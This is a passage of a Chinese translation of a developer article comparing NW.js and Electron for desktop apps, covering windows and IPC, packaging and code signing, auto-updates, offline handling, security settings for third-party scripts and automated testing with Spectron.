NW.js 经常被指责不如 Electron 那样紧跟 Chromium。然而，整个 2016 年，NW.js 每次在 Chromium 发布主要版本之后的 24 小时内发布新版本，这很大程度也归功于团队组织转型。\n\n回到主进程的话题，你的应用默认是没有窗口的，但是你可以从主进程开启任意多个窗口，每个窗口和 NW.js 一样有自己的渲染进程。\n\n那么当然，创建一个 Electron app，你需要的只是一个 JavaScript 文件（现在暂时只是个空文件）以及一个 `package.json` 文件指向它。然后你只需要执行 `npm install --save-dev electron`，以及 `electron .` 来启动你的 app。\n\n```json\n{\n  \"name\": \"example-app\",\n  \"version\": \"1.0.0\",\n  \"description\": \"\",\n  \"main\": \"main.js\",\n  \"scripts\": {\n    \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\"\n  },\n  \"keywords\": [],\n  \"author\": \"\",\n  \"license\": \"ISC\"\n}\n```\n\n```\n// main.js 文件，现在是空的\n```\n\n没有什么会发生，因为你的 app 没有默认窗口。接下来你可以和 NW.js 应用一样打开任意多个窗口，每个都有各自的渲染进程。\n\n```javascript\n// main.js\nconst {app, BrowserWindow} = require('electron');\nlet mainWindow;\n\napp.on('ready', () => {\n  mainWindow = new BrowserWindow({\n    width: 500,\n    height: 400\n  });\n  mainWindow.loadURL('file://' + __dirname + '/index.html');\n});\n```\n```html\n<!-- index.html -->\n<!DOCTYPE html>\n<html>\n  <head>\n    <title>Example app</title>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n  </head>\n  <body>\n    <h1>Hello, world!</h1>\n  </body>\n</html>\n```\n\n你可以在这个窗口中加载远程 URL，但是一般来说你会在本地创建 HTML 文件并加载它，当当当当～加载出来啦！\n\n![Screenshot of example Electron app](https://www.smashingmagazine.com/wp-content/uploads/2017/01/electronHelloWorld-preview-opt.png)\n\n在 Electron 提供的内置模块中，像在前面例子中使用的 `app` 和 `BrowserWindow`，大多只能要么在主进程要么在某个渲染进程中使用。比方说，你只能在主进程中管理你的所有窗口，自动更新或者其他。你可能想在主进程中点击一个按钮触发一些事件，因此 Electron 为 IPC 提供了一些内置方法。基本上你可以触发任意的事件，然后在另一端监听它们。这样，你就可以在某一个渲染进程中捕获 `click` 事件，通过 IPC 发出事件信息给主进程，主进程捕获后执行相关操作。\n\nElectron 有着不同的进程，你需要稍微不同地组织你的 app，但这不算什么。为什么人们使用 Electron 而不是 NW.js？这其中有影响力的因素，它的流行造就了许多相关的工具和模块。 Electron 的文档更好懂，最重要的是，Electron 的 bug 更少，并且有更好的 API。\n\nElectron 的文档非常棒，这值得再强调一下。拿 [Electron API Demos app](https://github.com/electron/electron-api-demos) 来说，这是个 Electron app，它可以交互式的演示出你可通过 Electron 的 API 做到什么。比如新建窗口，它不仅提供了 API 的描述以及示例代码，甚至点击按钮的确可以执行代码并打开新的窗口。（下图就是 Electron API Demos app 的截图）\n\n![A screenshot of the Electron API Demos app](https://www.smashingmagazine.com/wp-content/uploads/2017/01/apiDemosApp-preview-opt.png)\n\n如果你通过 Electron 的 bug 追踪器提交问题，你可以在几天之内得到回复。我曾经见过 NW.js 有经过三年都未修复的 bug，我并不是坚决反对他们这么做，开发开源项目采用的语言和使用这个项目的开发者了解的语言如此的不同，是非常难维护的。NW.js 和 Electron 主要是用 C++ （以及少部分 Objective C++）写的，但是使用这两个项目的人写的是 JavaScript。我非常感激 NW.js 给我们的帮助。\n\nElectron 弥补了 NW.js API 上的一些不足。比如，你可以绑定全局的键盘快捷键，这样即使你的 app 并没有获取焦点，键盘事件也可以被捕获。曾经我在 NW.js 的应用中碰到过一个 API 的漏洞，就是我在 Windows 上可以绑定 `Control + Shift + A` 快捷键达到预期目的，但是实际上到了 Mac 上绑定的快捷键是 `Command + Shift + A`，这个的确是有意而为之的，但是仍然很奇怪。没有任何方法可以在 Mac 上绑定 `Control` 键。另外，如果想绑定 `Command` 键，在 Mac 上的确没问题，而到了 Windows 和 Linux 上绑定的却是 `Windows` 键。Electron 的团队发现了这些问题（我猜是在给 Atom 添加快捷键的时候），然后他们很快更新了他们自己的全局快捷键（globalShortcut）API，以上遇到的情况就可以正常工作了。公平起见，NW.js 修复了前一个问题，但一直没有修复后一个。\n\n还有其他一些不同的地方。比如说，之前原生的 notification 通知，在最近的 NW.js 版本中，变成了 Chrome 风格的了。这种通知不会进入到 Mac OS X 或者 Windows 10 的通知中心里面，但是在 npm 上有方便使用的模块解决。如果你想做一些有趣的有关音频或视频的东西，建议使用 Electron，因为有些解码器和 NW.js 不兼容。\n\nElectron 还添加了一些新的 API，更加多地与桌面端的集成，并且内置了自动升级，我稍后会谈到。\n\n### 但是感觉如何呢？\n\n感觉很好，当然，它并不是原生的。现在大多数桌面应用并不会长得像资源管理器或者 Finder，所以用户并不介意或者意识到用户界面背后是 HTML。你愿意的话，你可以使之更像原生应用，但是我并不认为那样会让用户体验更好。比如，你可以在用户将鼠标悬停在按钮上时，不让光标变成手，一般原生的桌面应用都是这样做的，但是这样做有什么好的吗？当然也有像 [Photon Kit](http://photonkit.com/) 这样的类似 Bootstrap 的 CSS 框架，可以做出 macOS 风格的组件。（下图是 Photon Kit 做出的组件 demo）\n\n![Photon app example screenshot](https://www.smashingmagazine.com/wp-content/uploads/2017/01/photon-preview-opt.png)\n\n### 性能\n\n性能表现如何呢？会很慢或者延迟吗？其实你的 app 本质上来说仍然是 web 应用，所以它会和在 Google Chrome 中运行的 web app 非常类似。你可能会创造出高性能的或者反应迟缓的 app，但是没关系，你已经有分析并提升性能的技能了。app 基于 Chromium 最好的其中一点就是你可以使用它的开发者工具。你可以在 app 内调试或者远程调试，Electron 团队也开发了一款开发者工具的插件叫 [Devtron](http://electron.atom.io/devtron/) 来监控一些 Electron 特定的信息。\n\n不过，你的桌面应用可以比 web 应用的性能更高。因为你可以创建一个工作窗口，一个用于执行耗能昂贵工作的隐藏窗口。因为每个进程都是孤立的，所以任何在这个窗口中进行的计算或者处理不会影响到其他可见窗口的渲染进程，上下滚动等等。\n\n记住你总可以生成系统指令、可执行文件，或者原生代码，如果真的需要的话（你不会真的这么做的）。\n\n### 分发\n\nNW.js 和 Electron 都支持很多平台，包括 Windows，Mac 和 Linux。Electron 不支持 Windows XP 和 Vista，但 NW.js 支持。将 NW.js 应用上线到 Mac App Store 有些棘手，你必须绕几个弯子。而 Electron 支持直接的 Mac App Strore 兼容的版本，和普通的版本一样，只是某些模块你无法访问，比如自动更新（因为你的 app 会通过 Mac App Store 进行更新所以可以接受）。\n\nElectron 甚至支持 ARM 版本，所以你的 app 可以在 Chromebook 或者树莓派上运行，最终，Google 可能会[逐步淘汰 Chrome 封装应用 （Packaged App）](https://blog.chromium.org/2016/08/from-chrome-apps-to-web.html)，但是 NW.js 仍然支持将应用程序移植到 NW.js 应用，并且仍然可以访问相同的 Chromium API。\n\n虽然 32 位和 64 位的版本都支持，所以你完全可以使用 64 位的 Mac 和 Windows 应用。但是，为了兼容，32 位和 64 位 Linux 应用程序是都需要的。\n\n假如 Electron 胜出，你想发行一个 Electron 应用。有一个很不错的 Node.js 包叫 [electron-packager](https://github.com/electron-userland/electron-packager) 可以帮你将 app 打包成一个 `.app` 或者 `.exe` 文件。也有其他几个类似的项目，包括交互式的一步一步告诉你该怎么做。不过，你应该用 [electron-builder](https://github.com/electron-userland/electron-builder)，它以 electron-packager 为基础，添加了其他几个相关的模块，生成的是 `.dmg` 文件和 Windows 安装包，并且为你处理好了代码签名的问题。这很重要，如果没有这一步，你的应用将会被操作系统认为是不可信的，你的应用程序可能会触发防毒软件的运行，Microsoft SmartScreen 可能会尝试阻止用户启动你的应用。\n\n关于代码签名的令人讨厌的事情是，你必须单独为某个平台签名你的应用程序，比如在 Mac 上签名 Mac 应用，在 Windows 签名 Windows 应用。因此，如果你很在乎发行桌面应用的话，就必须为每个发行版本分别构建适用于不同平台的应用（以及分别签名）。\n\n这可能会感到不够自动化很繁琐，特别是如果你习惯于在 web 上创建。幸运的是，electron-builder 被创造出来完成这些自动化工作。我说的是持续集成工具例如 [Jenkins](https://jenkins.io/)、[CodeShip](http://codeship.com/)、[Travis-CI](https://travis-ci.org/)、[AppVeyor](https://www.appveyor.com/)（Windows 集成）等。这些工具可以让你按一个按钮或者每次更新代码到 GitHub 时重新构建你的桌面应用。\n\n### 自动更新\n\nNW.js 没有支持自动更新，但是由于我们可以随意使用 Node.js，我们可以做任何事情。开源模块可以帮你实现，比如 [node-webkit-updater](https://github.com/edjafarov/node-webkit-updater) 可以下载并替换为更新版本的 app。当然你也可以自己造轮子。\n\n通过 [autoUpdater](http://electron.atom.io/docs/api/auto-updater/) API，Electron 自带支持自动更新。但是它不支持 Linux 系统，所以我们建议发布你的 app 到 Linux 包管理器。不必担心，这在 Linux 上很常见。`autoUpdater` API 使用非常简单，给定一个 URL 就可以调用 `checkForUpdates` 方法。因为它是事件驱动，所以你可以订阅 `update-downloaded` 事件，一旦该事件触发，就调用 `restartAndInstall` 方法来下载新版本 app 并且重启。你可以监听一些其他的事件，将自动更新和用户界面很好的捆绑起来。\n\n*注意*：你可以使用多个更新渠道，比如 Google Chrome 和 Google Chrome Canary。\n\nAPI 背后的逻辑可就没这么简单了。它是基于 Squirrel 更新框架，用来区分 Mac 和 Windows 平台，对应的软件分别是 [Squirrel.Mac](https://github.com/Squirrel/Squirrel.Mac) 和 [Squirrel.Windows](https://github.com/Squirrel/Squirrel.Windows)。\n\nMac 上的 Electron app 和更新有关的代码非常简单，但是你还是需要一个简单的服务器。一旦你调用 autoUpdater 模块中的 `checkForUpdates` 的方法，它会访问服务器。如果没有更新，服务器返回 204（“No Content”）；如果有更新，则返回 200 和一个包含 `.zip` 文件 URL 的 JSON。再回到客户端 app，Squirrel 知道接下来该怎么做：它会下载 `.zip`，解压然后触发相应的事件。\n\nWindows 平台上 app 的更新需要更多点功夫。你不一定需要一台服务器。你可以把静态文件部署在某些地方，比如亚马逊的 AWS S3，或者甚至放在本地机器，可以方便测试。虽然 Mac 平台上的 Squirrel 和 Windows 平台上的 Squirrel 有些不同，但是依然有折中的办法来实现更新，比如给每个平台都分别部署一个服务器，或者把更新文件放在 S3 或者其他地方。\n\nSquirrel.Windows 有些很不错的特性是 Squirrel.Mac 所没有的。Squirrel.Windows 在后台实现更新，所以当你调用`restartAndInstall`，速度会更快，因为本地已经提前下载好了需要的更新文件。Squirrel.Windows 也支持 delta 更新，比如 app 检测到新版本需要更新，需要更新的部分会以补丁包的方式被下载和安装，而不是重新下载整个新的 app。假如当前的 app 要比最新版本低三个版本，Squirrel.Windows 甚至可以按照递增的方式来下载和安装需要的更新。当然如果当前 app 已经落后最新版本 15 个版本，Squirrel.Windows 就直接下载和安装整个最新的 app。这些功能底层已经帮你实现好了，API 使用起来依然很简单。你只需要检查更新，系统会帮你找到最优方案实现更新，并且告知用户更新完毕。\n\n*注意*：虽然这些补丁包也必须部署在服务器上，但是 electron-builder 会帮你生成这些文件。\n\n感谢 Electron 社区，让我们不一定非要构建自己的服务器。有很多开源项目帮助你实现把[更新文件部署在 S3 上](https://github.com/ArekSredzki/electron-release-server)，或者用 [GitHub release](https://github.com/GitbookIO/nuts)，甚至还有[提供后台控制面板](https://github.com/ArekSredzki/electron-release-server)来管理不同的更新版本。\n\n### 桌面应用和网页应用的对决\n\n那么桌面 app 到底和 web app 有些哪些不同？让我们来看看你可能遇到的一些意想不到的问题或收获，比如在 web 平台上使用 API 的副作用以及工作流中的痛点还有维护困难等。\n\n第一件事情就是浏览器限定（browser lock-in），你也许会因此暗自高兴。假如你只做桌面 app，你很清楚用户用的是哪个版本的 Chromium。让我们来假设一下：你可以在 app 当中用到 flexbox，ES6，原生的 WebSocket，WebRTC 以及任何你想到的东西。你甚至可以在 app 当中开启尚在测试的 Chromium 特性，或者允许使用 localStorage。你根本不用处理任何跨浏览器的兼容问题。基于 Node.js API 和 NPM，你可以做任何事情。\n\n*注意*：但你依然需要考虑用户在使用什么样的操作系统。不过相比较不同浏览器之间的问题，跨操作系统的兼容性处理要更简单些。\n\n#### 处理 file://\n\n另外一个有趣的事情是你的 app 要做到离线优先（offline-first）。在构建 app 的时候需要牢记的是，用户即使在没有网路的情况下也能正常使用 app，载入本地文件。你需要认真考虑 app 在网络条件差的情况下，如何正常工作。你可能需要改变思考问题的方式。\n\n*注意*：你可以载入远程 URL，但是我不建议这么做。\n\n我给出的建议是不要完全相信 [`navigator.onLine`](https://developer.mozilla.org/en-US/docs/Web/API/NavigatorOnLine/onLine)。这个属性会返回布尔值来反馈是否存在网络连接，不过请注意误报。如果有本地连接它就返回 true 而不去验证连接的有效性。网络连接虽然显示成功，但是可能实际上无法正常访问网页。比如本地机器到 Vagrant 虚拟机的连接会被误认为是成功的网络连接。所以，请使用 Sindre Sorhus 的 [`is-online`](https://github.com/sindresorhus/is-online) 来复核网络连接状态。它会 ping 互联网的根服务器或者一些著名网站的 favicon 文件。比如：\n\n```javascript\nconst isOnline = require('is-online');\n\nif(navigator.onLine){\n  // hmm there's a connection, but is the Internet accessible?\n  isOnline().then(online => {\n    console.log(online); // true or false\n  });\n}\nelse {\n  // we can trust navigator.onLine when it says there is no connection\n  console.log(false);\n}\n```\n\n说到本地文件，有几件事情需要注意，比如你无法使用少协议（protocol less）的 URL，我的意思是比如用 `//` 代替 `http://` 或者 `https://`。理论上，如果一个 web app 在请求 `//example.com/hello.json` 时，浏览器会把地址扩展为 `http://example.com/hello.json` 或者 `https://example.com/hello.json` （如果当前页面是通过 HTTPS 加载）。在我们的 app 当中，如果这么做，当前页面会使用 `file://` 协议。所以，当我们请求同样的 URL 时候，app 会把地址扩展为 `file://example.com/hello.json` 然后请求失败。我们真正要担心的是那些第三方模块；那些作者可能并没有按照桌面 app 的思路来制作模块。\n\n你不会使用到 CDN，因为载入本地文件基本上是瞬间完成的。而且不像浏览器，你没有同时请求数量的限制，至少不会像 HTTP/1.1 那样。你可以并发载入尽可能多的文件。\n\n#### 大量文件生成\n\n构建一个可靠稳固的桌面 app 需要生产大量的文件。你需要为一个自动更新的系统生成可执行文件和安装包。然后对应的每一个更新，都需要再次构建可执行文件和更多的安装包（因为如果有人去你的网站下载，他们应当下载到最新版本）以及针对增量更新（delta update）的更新补丁。\n\n文件大小仍然是一个需要考虑的问题。一个“Hello, World!”的 Electron app 压缩包是 40 MB。在构建 web app 的时候，除了遵循一些常见规则外（比如写更少的代码、压缩文件、使用更少的依赖等等），我可以提供的意见不多。“Hello World” app 本质上就是一个包含了 HTML 文件的 app；占 app 体积的绝大多数文件是来自 Chromium 和 Node.js。至少在 Windows 平台上增量更新可以有效减少下载文件的大小。但是我希望用户不要在 2G 网络上去下载文件。\n\n#### 预判意外状况\n\n在日后你一定会遇到一些意想不到的事情。有些事情要比其他更明显而且让人恼火。比如你制作了一个音乐播放器的 app，它支持迷你化，在其他应用之上用小窗口展示。假如用户点击了下拉菜单，app 会展示可选项，从 app 的底部边界溢出。如果你使用了非原生的包（比如 select2 或者 chosen），你会因此陷入麻烦。在打开下拉菜单的时候，它会被 app 的底部边界切割。用户会看到很少的选项甚至什么也看不到，这确实让人无语。当然这件事也会发生在浏览器上。但是用户不太可能会调整窗口到那么小。\n\n![Screenshots comparing what happens to a native dropdown versus a non-native one](https://www.smashingmagazine.com/wp-content/uploads/2017/01/dropdownComparison-preview-opt.png)\n\n你也许会知道，在 Mac 上每一个窗口都有一个 header 和 body。当窗口没有聚焦的时候，如果你把鼠标停留在 header 里面的图标或者按钮上，窗口的外观会对应的显示为鼠标停留状态。举个例子，macOS 上窗口的关闭按钮在未被停留时是灰色模糊的，当鼠标停留时，按钮变成红色。但是如果鼠标只是停留在 body 上，窗口外观不会发生改变。这是有意而为之的设计。让我们再回到我们的桌面 app，基于 Chromium 的 app 是没有 header，整个 web app 就是窗口 body。你可以不用原生的框架而创建自己的 HTML 按钮来取代原生的最小化，最大化还有关闭按钮。如果窗口没有被聚焦，当鼠标停留的时候，窗口不会有任何变化。Hover 的样式没有被应用，这总让人感觉不太对。更糟糕的是，只有在点击关闭按钮的时候，窗口才会被聚焦。然后你还得再次点击关闭按钮来真正关闭当前窗口。\n\n雪上加霜的是，Chromium 有一个 bug 可以掩盖这个问题，让你以为窗口会按照你期待的样子工作。把鼠标从窗口外移动到窗口内的元素，如果你移动得足够快，hover 样式会被应用。这是已经确认的 bug。把 hover 样式应用在一个模糊化的窗口 body 上“并不满足当前系统平台的要求”，日后该 bug 会被修复。但愿我上面说的话不会让你太心碎。事实上，你可以创建一个足够漂亮的自定义窗口控制区，但现实是许多用户会因此苦恼（他们会怀疑这到底是不是原生的）。\n\n所以你必须用到 Mac 原生的按钮。没有其他更好的办法了。对于 NW.js app，你必须开启使用原生框架（你也可以通过在 `package.json` 里面把 `window` 的属性 `frame` 设置为 `false` 来关闭使用原生框架）。\n\nElectron app 也可以实现同样效果。比如设置 `new BrowserWindow({width: 800, height: 600, frame: true})` 来创建窗口。Electron 官方团队就是这么做的，他们还加入另外一种不错的选项：把 `titleBarStyle` 设置成 `hidden` 会隐藏原生标题栏但是通过覆盖 app 左上角来保留原生的窗口控制。 这样就解决了之前的问题，但同时可以使用在左上角使用自定义按钮。\n\n```javascript\n// main.js\nconst {app, BrowserWindow} = require('electron');\nlet mainWindow;\n\napp.on('ready', () => {\n  mainWindow = new BrowserWindow({\n    width: 500,\n    height: 400,\n    titleBarStyle: 'hidden'\n  });\n  mainWindow.loadURL('file://' + __dirname + '/index.html');\n});\n```\n\n下面这张图，我禁用了标题栏然后设置了`html` 的背景图片:\n\n![A screenshot of our example app without the title bar](https://www.smashingmagazine.com/wp-content/uploads/2017/01/hiddenTitleBar-preview-opt.png)\n\n详见 Electron 官方文档 “[Frameless Window](http://electron.atom.io/docs/api/frameless-window)[57](#57)” \n\n#### 工具\n\n你可以尽情地使用在构建 web app 时候用到的工具。你的 app 其实就是 HTML，CSS 还有 JavaScript 不是吗？针对桌面 app 开源社区也有丰富的插件和模块供你使用，比如你可以用 Gulp 插件来为你的 app 签名（如果你不打算用 electron-builder）。[Electron-connect](https://github.com/Quramy/electron-connect) 可以用来监控文件改动，如果主要的脚本文件有改动，它会在打开的窗口中应用这些改动或者重启 app。毕竟这就是 Node.js，你可以做任何事情。你也可以在 app 中用到 webpack 如果你想的话，虽然我不知道为什么要这么做，但这也是一个选择嘛。详情见 [awesome-electron](https://github.com/sindresorhus/awesome-electron) 获取更多资源。\n\n#### 版本发布流程\n\n维护和开发一个桌面应用是怎么样的体验？首先，发行版本流是完全不一样的。观念上就需要重新调整。在开发 web app 的时候，如果部署了之后然后遇到问题，这些都不是事。你直接修复 bug 就行了。新用户直接访问页面或者老用户重新加载页面就能得到最新的代码。开发者一旦有新任务，就直接去完成任务或者修复 bug 就好了。但是开发桌面 app 可不是这样。一旦冒失犯错，就无法撤回。这特别像开发移动 app 一样。你构建了 app，然后发布，就不可能撤回了。有些用户可能都不会从立即更新到最新的修复版本。这些存在于旧版本的 bug 可能会让你非常苦恼。\n\n#### 量子力学\n\n考虑到要服务于不同版本的 app，你的代码会以不同的形式和状态而存在。多个版本的客户端（桌面 app）会以多种方式访问你的 API。所以你得认真考虑 API 的版本控制问题，做好测试。当 API 有变化时，你无法获知此次变动会不会造成问题。一个月前发布的版本可能会因为一些代码的变动而发生崩溃。\n\n#### 亟待解决的问题\n\n你也许会遇到一些很奇怪的问题，一些涉及到奇怪的账户管理，反病毒软件或者更糟。我之前遇到过一个案例，用户自己安装某些文件导致系统环境变量被修改。这直接导致了我们的 app 当中某个重要的依赖安装失败，因为系统命令无法找到。这些案例提醒我们有些情况下必须划清界限，这对我们的 app 很重要，所以不能忽略报错，但我们也不能帮用户修好电脑。对于遇到这种问题的用户，他们的多数桌面应用顶多也是无法正常启动。最后我们决定如果再次报错，用户会看到一条链接到文档的报错信息，这个文档用来解释错误为什么会发生，同时告诉用户如何一步步去修复错误。\n\n当然，一些基于 web 的顾虑将不再适配于桌面 app，比如一些历史遗留的浏览器问题。但有一些新的问题需要考虑，比如在 Windows 上文件路径有 256 字节大小的限制。\n\n旧版本的 npm 采用递归的文件结构存储依赖。你的依赖都各自存储在项目中的 `node_modules` 目录下的文件夹里（例如， `node_modules/a`）。如果依赖模块自己本身也有依赖模块，这些子级的子级依赖会被存储在父级的 `node_modules` 中，比如 `node_modules/a/node_modules/b`。因为 Node.js 和 npm 鼓励使用小巧的单用途模块，你可能会很容易遇到长路径，比如 `path/to/your/project/node_modules/a/node_modules/b/node_modules/c/.../n/index.js`。\n\n*注意*：版本 3 之后 npm 尽可能地扁平化依赖关系树。但是也存在一些其他原因导致长路径。\n\n我们之前遇到一个问题，就是在特定版本的 Windows 上因为路径太长 app 无法正常启动或者启动之后就崩溃。这是个很头痛的问题。使用 Electron 时，你可以把所有代码放在 [asar archive](http://electron.atom.io/docs/tutorial/application-packaging/) 当中。虽然使用这种方法也存在例外而不能保证永远都能正常使用。\n\n我们做了一个小小的 Gulp 插件  [gulp-path-length](https://github.com/Teamwork/gulp-path-length) 用来告知开发者当前 app 当中是否存在任何危险的长文件路径。终端用户将 app 放在哪里才能最终决定是否存在长文件路径。举个例子，假如安装包安装在 `C:\\Users\\<username>\\AppData\\Roaming`，当 app 构建完成（在本地通过持续集成服务完成），gulp-path-length 会用来监控是否当前目录下存在长文件路径（比如用户机器上的用户名过长而导致问题）。\n\n```javascript\nvar gulp = require('gulp');\nvar pathLength = require('gulp-path-length');\n\ngulp.task('default', function(){\n    gulp.src('./example/**/*', {read: false})\n        .pipe(pathLength({\n\t        rewrite: {\n\t\t        match: './example',\n\t\t        replacement: 'C:\\\\Users\\\\this-is-a-long-username\\\\AppData\\\\Roaming\\\\Teamwork Chat\\\\'\n\t        }\n        }));\n});\n```\n\n#### 关键性错误真的很致命\n\n因为所有的自动更新都发生在 app 内部，在每次检查更新前，未捕获的异常会导致 app 崩溃。假设你发现了一个 bug 然后发布了新版本进行修复。如果用户启动 app，自动更新开始下载，然后 app 崩溃。如果用户重新启动 app，自动更新再次下载，再次崩溃...所以，你必须想尽办法让用户知道他们需要重新安装 app。相信我，这确实很糟糕。\n\n#### 分析和 bug 报告\n\n你很可能想追踪 app 的使用情况和各种错误。首先 Google Analytics 不起作用。你得找到一个分析工具可以支持 `file://` URL。如果你正使用工具来追查错误，假如工具支持发布版本追踪，一定要确保错误和版本挂钩。例如，如果你使用 [Sentry](https://sentry.io/welcome/) 追踪错误，[确保在设定客户端的时候设定了正确的 `release` 属性 ](https://docs.sentry.io/clients/javascript/config/#optional-settings)，这样错误会按照版本分类。否则当你收到错误报告准备修复错误的时候，你会持续收到错误报告和日志，这当中会包含一些误报。而这些误报来自用户正在使用旧版本 app。\n\nElectron 包含了 [`crashReporter`](http://electron.atom.io/docs/api/crash-reporter/) 模块，该模块在 app 完全崩溃后（例如整个 app 崩溃，而不是错误抛出）自动向开发者发送报告。你也可以监听一些事件用来指示 app 的渲染进程无法响应。\n\n#### 安全\n\n当接收用户输入或者信任第三方脚本的时候需要格外注意，因为恶意攻击者会用各种意想不到的方式来使用 Node.js。而且记住永远不要在未经检查直接接受用户输入并传值到原生 API 或者命令。\n\n也不要相信来自 vendors 的代码。我们最近遇到的问题来自公司 X 的分析应用的第三方代码片段。官方团队在发布的新版本当中包含了问题代码，导致了 app 致命错误。当用户启动 app 的时候，代码片段从 CDN 获取最新的 JavaScript 代码然后运行，随后抛出异常导致 app 无法继续运行。任何正在运行的 app 都不会受到影响，但是一旦重新打开 app 就会产生问题。我们联系公司 X 客服，随后他们发布了修复版本。如果再次重启 app 就会正常运行了，虽然已经解决了问题，但是回头想想还是很让人担心。如果我们不去强制受影响的用户手动下载修复版本的 app，我们自己就很难直接解决问题。\n\n该怎么样才能规避风险呢？也许你可以试着捕获报错，但是你完全不知道公司 X 在 JavaScript 里面究竟做了什么。你最好使用更可靠稳固的代码。你可以加入一层抽象，不直接在 `<script>` 指向公司 X 的URL而使用 [Google Tag Manager](https://www.google.ie/analytics/tag-manager/) 或者你自己的 API 来返回包含有 `<script>` 标签的 HTML 文件或者包含所有第三方依赖的单独的 JavaScript 文件。这样在避免重新安装新版本的情况下，指定任意第三方代码片段被加载。\n\n但是，假如 API 不再返回用来分析的代码片段，之前被代码片段创建的全局变量依然会存在你的代码当中，这些全局变量会尝试调用未定义的函数。所以我们并没有完全解决问题。而且，如果用户没有联网就打开 app，API 调用会失败。你并不想在离线时限制你的 app。当然你可以用上次成功请求的缓存文件来用作离线版本的加载。但是如果当前版本出现问题怎么办，你又回到了之前提到的问题（如果不强制用户下载新版本，app 就会崩溃）。\n\n另外一种解决方案是创建一个隐藏窗口加载包含了所有第三方代码片段的本地HTML 文件。这样，任何由全局变量导致的问题会在这个隐藏窗口里报错，而主要窗口不受影响。如果你需要在主要窗口当中调用 这些 API 或者 全局变量，你可以通过 IPC 的方式来实现。通过 IPC 向主进程发送一个事件，然后该事件会被发送到隐藏窗口当中。如果隐藏窗口没有任何问题，它会监听事件同时调用第三方函数。这样就可以解决之前提到的问题。\n\n这会带来安全问题。万一来自公司 X 的恶意攻击者在他们的 JavaScript 中包含有危险的 Node.js 代码？我们肯定死惨了。幸运的是，Electron 里有一个很不错的设置用来禁止在给定窗口中执行 Node.js 代码，使恶意代码不会运行：\n\n```javascript\n// main.js\nconst {app, BrowserWindow} = require('electron');\nlet thirdPartyWindow;\n\napp.on('ready', () => {\n  thirdPartyWindow = new BrowserWindow({\n    width: 500,\n    height: 400,\n    webPreferences: {\n      nodeIntegration: false\n    }\n  });\n  thirdPartyWindow.loadURL('file://' + __dirname + '/third-party-snippets.html');\n});\n```\n\n#### 自动化测试\n\nNW.js 本身不包含对测试的支持。但是由于你可以使用 Node.js， 技术上，测试是可行的。 例如 [Chrome Remote Interface](https://github.com/cyrus-and/chrome-remote-interface) 可以用来测试 app 当中的按钮点击。但这个还是有点牵强，因为你无法触发原生窗口按钮的点击，也就无法测试。\n\nElectron 官方团队开发了 [Spectron](http://electron.atom.io/spectron/) 用来自动测试。它支持测试原生控制按钮，管理窗口还有模拟 Electron 事件。它甚至可以在持续集成构建中运行。\n\n```javascript\nvar Application = require('spectron').Application\nvar assert = require('assert')\n\ndescribe('application launch', function () {\n  this.timeout(10000)\n\n  beforeEach(function () {\n    this.app = new Application({\n      path: '/Applications/MyApp.app/Contents/MacOS/MyApp'\n    })\n    return this.app.start()\n  })\n\n  afterEach(function () {\n    if (this.app && this.app.isRunning()) {\n      return this.app.stop()\n    }\n  })\n\n  it('shows an initial window', function () {\n    return this.app.client.getWindowCount().then(function (count) {\n      assert.equal(count, 1)\n    })\n  })\n})\n```\n\n考虑到你的 app 就是 HTML 文件，仅仅在静态文件中添加指向测试工具的脚本，你可以用任何工具来测试 web app。但是你得确保 app 可以在没有 Node.js 的 web 浏览器中依然可以运行。\n\n### 桌面和 Web\n\n这不仅仅是关乎桌面 app 或者 web app。作为一个 web 开发者，你可以用任何工具制作 app 确保在任何平台和环境中运行。但是为什么没有一劳永逸的办法呢？我们还需要努力，但这是值得的。接下来我会提到一些相关的话题和工具，考虑到它们太过复杂，我就点到为止。\n\n首先，忘记什么“浏览器限定”和原生 WebSockets 等等其他的事情。ES6 也是如此.你要么写纯粹的 ES5，要么用类似 [Babel](https://babeljs.io/) 的工具来把 ES6 代码编译成 ES5，供 web 使用。\n\n你的代码里也会写满了许多浏览器不会理解的 `require`（用来引入其他脚本文件或者模块）。使用支持 CommonJS 的模块打包器，比如 [Rollup](http://rollupjs.org)，[webpack](https://webpack.github.io) 或者 [Browserify](http://browserify.org)。当构建 web app 的时候，模块打包器会遍历代码，找到所有的 `require` 然后把他们放在一个脚本文件里。\n\n任何用到 Node.js 或者 Electron API（比如写盘操作或者集成桌面环境）的代码都不应该在 app 运行在 web 端的时候被调用。你可以通过检测 `process.version.nwjs` 和 `process.versions.electron` 是否存在来判断。如果存在，则表明 app 当前运行在桌面环境。\n\n即便如此，你仍会在 web app 上加载大量冗余代码。假设你的代码中 `if(app.isInDesktop)` 后面紧接着和桌面环境有关的 `require` 代码。与其在 app 运行的时候来检测当前运行环境，同时设置对应的 `app.isInDesktop`，不如把 `true` 和 `false` 当做 flag 在构建的时候传值到 app。在它进行静态和树状分析（也就是消除无用代码）时，这将有助于模块捆绑的选择。它会知道 `app.isInDesktop` 是否为 `true`。因此，当你运行 web app 的时候，它不会到代码里去找对应的 `if` 条件，或者找到相关的 `require`。\n\n#### 持续交付\n\n我们对于版本发行的观念也需要换一换了，这非常有挑战性。当你在开发 web app 的时候，你希望能够频繁发布新的改动。我相信在持续交付中，小的增量改动可以快速回滚。理想情况是，经过足够的测试，一个实习生也可以把改动的代码 push 到 master 分支，然后让 web app 自动测试和部署。\n\n我们之前谈到，你不能像 web app 那样在桌面 app 中实现同样的效果。没错，理论上如果你使用 Electron 的话，electron-builder 可以自动测试，而且 spectron 也可以测试。我不知道还有谁这么做，我自己不会有信心这么做。记住，错误的代码不可以撤销，你可能打破正常的更新流。而且，你也不想让桌面 app 更新太过频繁。更新不会悄无声息的发生，不像 web app 那样，这对于用户来说其实很不友好。而且在 macOS 上不支持增量更新，用户必须针对每一个发行版本都要下载完整的新版本的 app，不管更新是多么的小。\n\n你得找到一个平衡点。一个妥协的做法是针对 web app 要尽可能快的更新和修复问题，对于桌面 app 每周或者每月更新一次就可以，除非你要发布新功能。你也不能指责用户选择安装桌面 app。没有什么比等待很久来发布新功能更糟糕的事情了。你可以采用功能发布控制器（feature-flag）API 来在同一平台同一时间发布新功能，但这又是另外一个话题了。我第一次学习和了解到功能发布控制器是来自 Etsy 的工程师 VP，Mike Brittain 的讲话，[持续交付：肮脏的细节](https://www.youtube.com/watch?v=JR-ccCTmMKY)（需翻墙）\n\n### 总结\n\n那么你已经掌握了。只要一点点努力，你就可以在简历中加上”桌面 app 